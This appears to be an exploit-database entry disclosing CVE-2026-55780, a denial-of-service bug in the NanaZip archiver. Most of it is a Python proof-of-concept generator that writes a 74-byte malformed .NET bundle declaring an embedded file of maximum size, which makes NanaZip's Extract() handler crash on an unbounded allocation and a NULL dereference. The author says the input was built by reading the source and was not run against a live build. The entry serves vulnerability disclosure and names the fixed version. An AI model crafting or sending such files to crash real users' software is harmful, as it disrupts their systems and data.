NanaZip 6.5 - DoS

# Exploit Title: NanaZip 6.5  -  DoS

# Date: 2026-07-17

# Exploit Author: Pig-Tail (Jorge González Milla)

# Vendor Homepage: https://github.com/M2Team/NanaZip

# Software Link: https://github.com/M2Team/NanaZip/releases

# Version: NanaZip <= 6.5 Preview (6.5.1742.0) (fixed 6.5.1749.0)

# Tested on: Windows

# CVE: CVE-2026-55780

# Category: dos

# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-55780-NanaZip



A crafted .NET single-file bundle triggers an uncaught exception / unbounded allocation in the DotNetSingleFile handler's Extract().



NOTE: This PoC input was constructed by static analysis of the NanaZip.Codecs parser source

(NanaZip is Windows-only); it reaches the exact vulnerable line documented in the advisory but

was not executed against a running build. Benign — it only generates the malformed carrier file.



--- PoC generator (GHSA-ppm9-5267-rq72.py) ---

#!/usr/bin/env python3

# PoC generator: uncaught exception / unbounded allocation in NanaZip's .NET

# single-file Extract() (GHSA-ppm9-5267-rq72).

#

# A 74-byte bundle: 'MZ' stub, the 32-byte .NET bundle signature at offset 10

# preceded by an int64 bundle-header offset at offset 2, then a v1 header

# declaring one embedded file with Size = INT64_MAX. Extracting that entry makes

# DotNetSingleFile::Extract run std::vector(Size) with no try/catch

# (NanaZip.Codecs.Archive.DotNetSingleFile.cpp:804); the allocation throws across

# the COM boundary. (It also triggers the GetStream(Indices[i]) NULL-deref.)

import struct



SIG = bytes([

    0x8b, 0x12, 0x02, 0xb9, 0x6a, 0x61, 0x20, 0x38,

    0x72, 0x7b, 0x93, 0x02, 0x14, 0xd7, 0xa0, 0x32,

    0x13, 0xf5, 0xb9, 0xe6, 0xef, 0xae, 0x33, 0x18,

    0xee, 0x3b, 0x2d, 0xce, 0x24, 0xb3, 0x6a, 0xae,

])

HDR = 42  # bundle header offset



buf = bytearray(74)

buf[0:2]   = b"MZ"

buf[2:10]  = struct.pack("<q", HDR)   # int64 header offset (read at sig-8)

buf[10:42] = SIG                       # signature at i = 10



o = HDR

struct.pack_into("<I", buf, o, 1); o += 4                    # MajorVersion = 1 (<2)

struct.pack_into("<I", buf, o, 0); o += 4                    # MinorVersion = 0

struct.pack_into("<i", buf, o, 1); o += 4                    # NumberOfEmbeddedFiles = 1

buf[o] = 0; o += 1                                           # BundleIdLength = 0

struct.pack_into("<q", buf, o, HDR);                o += 8   # Entry.Offset (>0)

struct.pack_into("<q", buf, o, 0x7FFFFFFFFFFFFFFF); o += 8   # Entry.Size = INT64_MAX

buf[o] = 0;        o += 1                                    # Entry.Type = 0

buf[o] = 0x01;     o += 1                                    # RelativePathLength = 1

buf[o] = ord("a"); o += 1                                    # RelativePath = "a"



with open("poc.bundle", "wb") as f:

    f.write(buf)

print(len(buf), "bytes ->", "poc.bundle")